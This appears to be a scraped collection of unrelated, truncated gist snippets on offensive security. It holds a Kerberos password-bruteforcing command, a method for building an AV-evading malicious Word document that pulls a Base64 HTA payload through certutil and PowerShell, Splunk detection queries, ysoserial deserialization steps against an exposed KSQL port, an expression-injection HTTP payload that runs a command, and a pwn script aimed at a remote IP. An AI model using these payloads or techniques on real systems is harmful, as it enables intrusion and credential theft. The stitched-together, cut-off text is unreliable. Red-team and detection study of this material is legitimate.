PikaChu cyberheartmi9

Kerberos cheatsheet

Bruteforcing

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process

The below paper documents the process of creating a multi-stage IPS/AV transparent malicious document for purposes of Red Teaming / Penetration-Testing assignments.

The resulted document will be:

using OLE event autorun method
removing it's pretext shapes
Obtaining commands to be executed from document's Author property and passing them to StdIn of Powershell.exe process
Leveraging certutil technique to receive Base64 encoded malicious HTA document
Having Base64 encoded Powershell command in that Author property

========================================= Advanced handling of HTTP requests in PHP

Nicolas Grekas - nicolas.grekas, gmail.com
17 June 2011 - Last updated on 3 sept. 2011

Not updated any more on this gist. See:

English version: https://github.com/nicolas-grekas/Patchwork-Doc/blob/master/Advanced-HTTP-en.md

	1- T1174 - Password Filter - Catch malicious password filters event log
	index=wineventlog EventID=4614
	AND NOT NotificationPackageName IN ("scecli", "RASSFM", "WDIGEST", "KDCSVC", "KDCPW")
	Reference
	https://twitter.com/xknow_infosec/status/1178747476976820228
	2- T1113 - Screen capture
	look for nircmd executions
	powershell execution with screenshot in arguments
	3- T1074 - Data Staged
	enable object auditing files and folder - EventID 4663 - look for copying of different files in a short time span. Use bro

	Video: https://youtu.be/2OWtEymBQfA

	1. Quick Assessment - Running Nessus and NMAP
	-- Nessus primarily to see if it detects open KSQL (Spoiler: It doesn't)
	-- NMAP to identify whatports are open

	2. Seeing what is possible from an exposed KSQL/Kafka Port
	-- Download and extract: https://github.com/Cyb3rWard0g/HELK/wiki/Deploy-KSQL-CLI-Locally
	-- ./ksql http://172.16.10.10:8088
	-- Run the commands:

	-- CREATE SERIALIZED PAYLOAD --

	NOTE --
	Downgrade to Java 8 !!
	Java 9+ shits out...

	-- ENCRYPT --
	https://github.com/frohoff/ysoserial
	https://github.com/pimps/ysoserial-modified


	query IntrospectionQuery {
	__schema {
	queryType { name }
	mutationType { name }
	subscriptionType { name }
	types {
	...FullType
	}
	directives {

	POST /users HTTP/1.1
	Host: localhost:8080
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 164

	username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

	#!/usr/bin/python
	# Author : peternguyen

	from Pwn import *

	# p = Pwn(mode=1,port=8887)
	p = Pwn(mode=1,host='52.193.196.17',port=56746)

	def select(op):
	p.read_until('Your choice: ')